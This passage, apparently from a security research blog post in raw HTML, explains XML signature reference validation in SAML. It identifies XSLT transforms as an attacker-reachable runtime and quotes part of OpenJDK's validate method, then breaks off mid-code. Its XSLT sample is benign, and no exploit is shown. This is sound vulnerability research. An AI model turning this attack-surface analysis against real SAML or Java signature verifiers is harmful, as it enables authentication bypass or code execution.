style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> and the signer key described in </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">KeyInfo</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. Compare the result with </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">SignatureValue </span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">and fail if they differ.</span></p></li></ul><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Interestingly, the order of these two steps can be implementation specific. While the XMLDsig RFC lists Reference Validation as the first step, performing Signature Validation first can have security advantages as we will see later on.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Correctly validating XML signatures and making sure the data we care about is protected, is very difficult in the context of SAML. This will be a topic for later blog posts, but at this point we want to focus on the reference validation step:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As part of this step, the application verifying a signature has to run attacker controlled transforms on attacker controlled input. Looking at the list of transformations supported by XMLDsig, one seems particularly interesting: XSLT. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XSLT, which stands for Extensible Stylesheet Language Transformations, is a feature-rich XML based programming language designed for transforming XML documents. Embedding a XSLT transform in a XML signature means that the verifier has to run the XSLT program on the referenced XML data. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The code snippet below gives you an example of a simple XSLT transformation. When executed it fetches each </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><data></span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> element stored inside </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><input></span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, grabs the first character of its content and returns it as part of its </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><output></span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. So </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><input><data>abc</data><data>def</data></input></span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> would be transformed into </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><output><data>a</data><data>d</data></output></span></p><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><Transform</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> Algorithm</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"http://www.w3.org/TR/1999/REC-xslt-19991116"</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><xsl:stylesheet</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> xmlns:xsl</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"</span><a href="http://www.w3.org/1999/XSL/Transform" style="text-decoration-line: none;"><span style="background-color: transparent; color: black; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">http://www.w3.org/1999/XSL/Transform</span></a><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> xmlns</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"http://www.w3.org/TR/xhtml1/strict" exclude-result-prefixes</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"foo" </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> version</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"1.0"</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><xsl:output</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> encoding</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"UTF-8" indent</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"no" method</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"xml" </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><xsl:template</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> match</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"/input"</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><output></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><xsl:for-each</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> select</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"data"</span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><data><xsl:value-of</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> select</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"substring(.,1,1)" </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">/></data></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></xsl:for-each></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></output></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></xsl:template></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></xsl:stylesheet></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #00796b; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"></Transform></span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Exposing a fully-featured language runtime to an external attacker seems like a bad idea, so let's take a look at how this feature is implemented in Java’s OpenJDK.</span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">XSLT in Java</span></h2><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Java’s main interface for working with XML signatures is the </span><a href="https://docs.oracle.com/en/java/javase/18/docs/api/java.xml.crypto/javax/xml/crypto/dsig/XMLSignature.html" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">java.xml.crypto.XMLSignature </span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">class and its sign and validate methods. We are mostly interested in the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">validate</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> method which is shown below:</span></p><br /><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">// https://github.com/openjdk/jdk/blob/master/src/java.xml.crypto/share/classes/org/jcp/xml/dsig/internal/dom/DOMXMLSignature.java</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #c53929; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">@Override</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">public</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">boolean</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validate</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XMLValidateContext</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> vc</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">throws</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XMLSignatureException</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[..]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">// validate the signature</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">boolean</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> sigValidity </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> sv</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">validate</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">vc</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">);</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">A</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(!</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sigValidity</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validationStatus </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">false</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> validated </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 